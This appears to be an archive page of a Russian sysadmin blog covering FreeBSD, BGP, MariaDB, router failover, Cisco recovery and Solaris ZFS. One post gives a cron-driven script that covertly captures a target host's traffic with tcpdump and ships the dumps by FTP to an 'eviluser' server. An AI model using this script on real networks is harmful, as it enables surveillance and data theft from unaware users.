Архив

Архив автора

Установка бинарного репозитория во FreeBSD

5 Октябрь 2011 Нет комментариев

Бывают случаи, когда необходимо установить устаревший релиз FreeBSD, а порты собирать не хочеться.
Для этого существует команда pkg_add -r mc — например для установки файлового менеджера, но к сожалению старые бинарные репозитории удаляются с официальных зеркал. Но если мы знаем зеркало, где лежит нужный нам пакет указываем его через переменную окружения:
setenv PACKAGESITE http://ftp.ru.freebsd.org/FreeBSD/FreeBSD-Archive/ports/i386/packages-7.2-release/All/

Прозрачный bridge на базе FreeBSD

Для поддержки режима bridge пересобираем ядро с поддержкой драйвера:

device if_bridge

и опциями для фильтрации трафика (на базе ipfw):

options IPFIREWALL
options IPFIREWALL_DEFAULT_TO_ACCEPT

В файл /etc/sysctl.conf добавляем строки

net.link.bridge.ipfw=1
net.link.bridge.pfil_member=1
net.link.bridge.pfil_bridge=1
net.link.ether.ipfw=1
net.inet.ip.fw.enable=1

В файле /etc/rc.conf поднимаем сам мост (на двух физических интерфейсах em0 и em1):

cloned_interfaces=»bridge0″
ifconfig_bridge0=»addm em0 addm em1 up»
ifconfig_em0=»up»
ifconfig_em1=»up»
ifconfig_em2=»inet 192.168.1.2 netmask 255.255.255.0 up»
Для доступа по сети на интерфейс em2 назначен IP.

Перехват трафика на интернет шлюзе

Имеем порутаный интернет шлюз — задача перехватить весь трафик с ip адреса 2.2.2.2 и отправить раз в сутки в 4 утра к нам на сервер с парсером трафика.

Добавляем запуск нашего dumpscript в планировщик задач cron
vi /etc/crontab
0 4 * * * root /usr/dump/dumpscript
Теперь наш скрипт в 4 утра будет запускаться сливать дамп и перезапускать захват трафика.

#!/usr/local/bin/bash
set -x
cd /usr/dump

YEAR=`date +%Y`
MONTH=`date +%m`
DAY=`date +%d`
#Закачиваем сдампленый трафик на наш удаленый сервер для анализа трафика
echo mkdir $YEAR-$MONTH-$DAY | ftp ftp://eviluser:evilpass@ftp.example.com/tagertdump/
echo binary | ftp ftp://eviluser:evilpass@ftp.example.com/tagertdump/
echo put traff | ftp ftp://eviluser:evilpass@ftp.example.com/tagertdump/$YEAR-$MONTH-$DAY/
#Убиваем процессы от предыдущего запуска
/usr/bin/killall screen
/usr/bin/killall tcpdump
/usr/local/bin/screen -d -m /usr/sbin/tcpdump -w traff -s 0 -i igb1 host 2.2.2.2 #Запускаем tcpdump в консольном оконном менеджере screen -d -m(создаем терминал и запускаем в нем процесс tcpdump по перехвату трафика с адреса 2.2.2.2 на интерфейсе igb1)

BGP — как происходит выбор наилучшего маршрута

19 Апрель 2011 Нет комментариев

BGP всегда выбирает один из маршрутов — как наилучший. Когда маршрут выбран, BGP помещает его в свою таблицу маршрутизации, и передает его своим neighbor’ам. Для выбора наилучшего маршрута BGP использует следующие критерии:

1. Если путь, указанный в поле next-hop, недоступен, этот update убивается.
2. Лучшим считается путь с наибольшим значением weight;
3. Если weight путей одинаковы, то выбирается путь с наибольшим lpref;
4. Если weight и lpref одинаковы, то выбирается путь, который появился в таблице маршрутов BGP на данном роутере. (подразумевается, что это будет самый наикратчайший путь);
5. Если нет путей, которые «родились» на данном роутере, то выбирается путь с AS_path минимальной длины;
6. Если все пути имеют одинаковую длину (одинаковое количество hop’ов, следовательно), выбирается путь с «lowest origin type». Считается, что IGP < EGP < Incomplete.;
7. Если Origin attr. code одинаковы для всех путей, выбирается путь с наименьшим MED attr.;
8. Если и MED одинаковы для всех возможных путей, предпочтительным считается external path перед internal path;
9. Если опять все пути одинаковы, то prefer the path through the closest IGP neighbor;
10. Выбирается путь с наименьшим IP адресом из тех, которые указываются by the BGP router ID.

MariaDB включаем поддержку XtraDB(Обратно совместимый движок с Innodb)

cd ./mariadb
./configure —with-plugins=max
Max обозначает что мы включаем все возможные движки — если есть желание их потестить.
На выходе получаем вывод скрипта configure:
Configuration summary for MariaDB Server version 5.2.4-MariaDB

* Archive Storage Engine: yes
* Aria Storage Engine: yes
* Blackhole Storage Engine: yes
* CSV Storage Engine: yes
* Cluster Storage Engine: no
* Collection of Authentication Plugins: plugin
* Daemon Example Plugin: plugin
* Example Storage Engine: plugin
* Federated Storage Engine: plugin
* FederatedX Storage Engine: yes
* Graph Storage Engine: no
* IBM DB2 for i Storage Engine: no
* InnoDB Storage Engine: plugin
* Memory Storage Engine: yes
* MyISAM MERGE Engine: yes
* MyISAM Storage Engine: yes
* PBXT Storage Engine: yes
* Partition Support: yes
* Simple Parser: plugin
* Sphinx Storage Engine: plugin
* XtraDB Storage Engine: yes

* Installation prefix: /usr/local
* System type: unknown-freebsd8.0
* Host CPU: i386
* C Compiler: gcc (GCC) 4.2.1 20070719 [FreeBSD]
* C++ Compiler: g++ (GCC) 4.2.1 20070719 [FreeBSD]
* Debug enabled: no
* Community Features: yes
Если хотим включить только XtraDB: ./configure —with-plugins=xtradb

Тестирование производительности сетевой подсистемы OpenBSD,FreeBSD,CentOS

10 Декабрь 2010 Нет комментариев

Стенд: 2xXeon 5440 2.5 ghz/16 gb ram/Intel Gigabit Adapter Quad Port чипсет сетевой карты Intel 82576
входящий реальный трафик с mirror порта catalyst ~1000 mbit/sec
10 минутный результат работы утилиты tcpdump по захвату всего трафика на интерфейсе в неразборчивом режиме (promiscuous mode)
FreeBSD 8.1
93521943 packets received by filter
56474 packets dropped by kernel
OpenBSD 4.8
92588558 packets received by filter
392526 packets dropped by kernel
CentOS 5.5
82154676 packets received by filter
238170 packets dropped by kernel
Debian 5.0.7
91326722 packets received by filter
947189 packets dropped by kernel

Переключение на резервный канал ISP при использовании роутеров Allied Telesis

30 Октябрь 2010 Нет комментариев

В моем случае конфигурируем 2 PPPoE соединения:

# PPP configuration
create ppp=0 over=eth0-all # Через какой порт поднимаем PPPoE
set ppp=0 iprequest=on username=»xxxxx» password=»xxxxx» # iprequest=on — Динамически получаем ip адреса.
set ppp=0 over=eth0-all lqr=off echo=1 # Link Quality Report(LQR) часть ppp протокола для обеспечения контроля связи по ppp, в случае потери линка и.т.д некоторые провайдеры не поддерживают LQR, так-что используем echo пакеты.
create ppp=1 over=eth1-all
set ppp=1 iprequest=on username=»xxxxx» password=»xxxxx»
set ppp=1 over=eth1-all lqr=off echo=10 # Для определения падения линка используем разные значения echo.

# IP configuration
enable ip
enable ip remote
add ip int=vlan1 ip=192.168.1.253 # Добавляем адрес шлюза из приватной сети(по умолчанию на vlan 1)
add ip int=ppp0 ip=0.0.0.0 mask=0.0.0.0 # Создаем два ip unnumbered интерфейса ppp0,ppp1
add ip int=ppp1 ip=0.0.0.0 mask=0.0.0.0
add ip rou=0.0.0.0 mask=0.0.0.0 int=ppp0 next=0.0.0.0 # Добавляем два маршрута по умолчанию
add ip rou=0.0.0.0 mask=0.0.0.0 int=ppp1 next=0.0.0.0
set ip rou=0.0.0.0 mask=0.0.0.0 int=ppp1 next=0.0.0.0 pref=500 # Добавляем менее предпочтительному маршруту pref=500 чем меньше pref тем предпочтительней маршрут

# Firewall configuration
enable firewall
create firewall policy=»homenet»
enable firewall policy=»homenet» icmp_f=all
add firewall policy=»homenet» int=vlan1 type=private
add firewall policy=»homenet» int=ppp0 type=public
add firewall policy=»homenet» int=ppp1 type=public
add firewall poli=»homenet» nat=enhanced int=vlan1 gblin=ppp0 # Добавляем два правила nat на интерфейс ppp0,ppp1
add firewall poli=»homenet» nat=enhanced int=vlan1 gblin=ppp1

# DHCP (Post IP) configuration
enable dhcp
create dhcp poli=»base» lease=86400
add dhcp poli=»base» subn=255.255.255.0
add dhcp poli=»base» rou=192.168.1.253
add dhcp poli=»base» dnss=8.8.8.8,8.8.4.4
create dhcp ran=»home» poli=»base» ip=192.168.1.16 num=10 # Поднимаем dhcp сервер, количество выдаваемых ip=10, что вполне достаточно для дома.

В данной конфигурации при падении предпочтительного маршрута ppp0, роутер автоматически переключается на маршрут ppp1.

Как узнать тип процессора во FreeBSD

21 Сентябрь 2010 Нет комментариев

Тип процессора:
[root@cp ~]# sysctl -a| grep hw.model
hw.model: Intel(R) Xeon(R) CPU E5420 @ 2.50GHz
Количество ядер в системе:
[root@cp ~]# sysctl -a| grep hw.ncpu
hw.ncpu: 8

Categories: Без рубрики Tags: ,

Восстановление прошивки Cisco Catalyst

При неудачной прошивке свитча или сбоя флэш памяти, коммутатор не может найти образ IOS.
И при загрузке ругается:
Base ethernet MAC Address: 00:0b:be:54:1c:00
Xmodem file system is available.
The password-recovery mechanism is enabled.
Initializing Flash…
flashfs[0]: 8 files, 1 directories
flashfs[0]: 0 orphaned files, 0 orphaned directories
flashfs[0]: Total bytes: 15998976
flashfs[0]: Bytes used: 11776
flashfs[0]: Bytes available: 15987200
flashfs[0]: flashfs fsck took 18 seconds.
…done Initializing Flash.
Boot Sector Filesystem (bs:) installed, fsid: 3
Loading «c3560-advipservicesk9-mz.122-25.SEE4.bin»…c3560-advipservicesk9-mz.1d

Error loading «c3560-advipservicesk9-mz.122-25.SEE4.bin»

Interrupt within 5 seconds to abort boot process.
Boot process failed…

The system is unable to boot automatically. The BOOT
environment variable needs to be set to a bootable
image.

И вываливает в приглашение:

switch:

Смотрим содержимое флэш памяти:

switch: dir flash:
Directory of flash:/

2 -rwx 0 env_vars
3 -rwx 5 config.text.renamed
4 -rwx 5 private-config.text.renamed
5 -rwx 2072 multiple-fs
6 -rwx 676 vlan.dat
7 -rwx 46 system_env_vars
9 -rwx 1938 private-config.text
11 -rwx 2614 config.text

15987200 bytes available (11776 bytes used)

В данном случае образ IOS отсутсвует.
Значит будем загружать по протоколу xmodem.
В случае с Linux устанавливаем терминал minicom и набор програм для передачи по протоколам xmodem/ymodem пакет называется — lrzsz.

Скачиваем нужную нам прошивку в моем случае: c3550-ipservicesk9-mz.122-46.SE.bin

Даем команду: copy xmodem: flash:c3550-ipservicesk9-mz.122-46.SE.bin

в minicom нажимаем Ctrl + A + S выбираем тип протокола xmodem и ждем… ждем долго т.к. размер прошивки ~7мб, а скорость у нас 9600 бод.

switch: copy xmodem: flash:c3550-ipservicesk9-mz.122-46.SE.bin
Begin the Xmodem or Xmodem-1K transfer now…
C +————[xmodem upload - Press CTRL-C to quit]————+
|Sending c3550-ipservicesk9-mz.122-46.SE.bin, 75099 blocks: Gi|
|ve your local XMODEM receive command now. |
|Xmodem sectors/kbytes sent: 0/ 0kRetry 0: NAK on sector |
|Retry 0: NAK on sector |
|Retry 0: NAK on sector |
|Xmodem sectors/kbytes sent: 1/ 0kRetry 0: NAK on sector |
|Xmodem sectors/kbytes sent: 63/ 7k |
+————————————————————-+

Подключение к Fibre Channel в Solaris к zfs pool

15 Апрель 2010 Нет комментариев

Смотрим есть ли подключению к стораджу:
# luxadm probe

Found Fibre Channel device(s):
Node WWN:20000050cc2056e7 Device Type:Disk device
Logical Path:/dev/rdsk/c3t4d0s2
# format
Searching for disks…
Mode sense page(3) reports nsect value as 63, adjusting it to 63
done

c0t1d0: configured with capacity of 930.97GB

AVAILABLE DISK SELECTIONS:
0. c0t0d0
/pci@0,0/pci8086,25f9@6/pci9005,2d5@0/disk@0,0
1. c0t1d0
/pci@0,0/pci8086,25f9@6/pci9005,2d5@0/disk@1,0
2. c3t4d0
/pci@0,0/pci8086,25f8@4/pci1077,137@0/fp@0,0/disk@w23000050cc2056e7,0

Видим, что система распознала подключение стораджа XYRATEX-F5412E
Смотрим что есть
# zpool import
pool: st
id: 14180032400769214306
state: ONLINE
status: The pool was last accessed by another system.
action: The pool can be imported using its name or numeric identifier and
the ‘-f’ flag.
see: http://www.sun.com/msg/ZFS-8000-EY
config:

st ONLINE
c3t4d0 ONLINE
st — это пул zfs на весь размер стораджа
Импортируем:
-f значит не обращать внимания на предуперждения, что сторадж уже подключен к другой машине.
# zpool import -f st

Categories: Без рубрики Tags: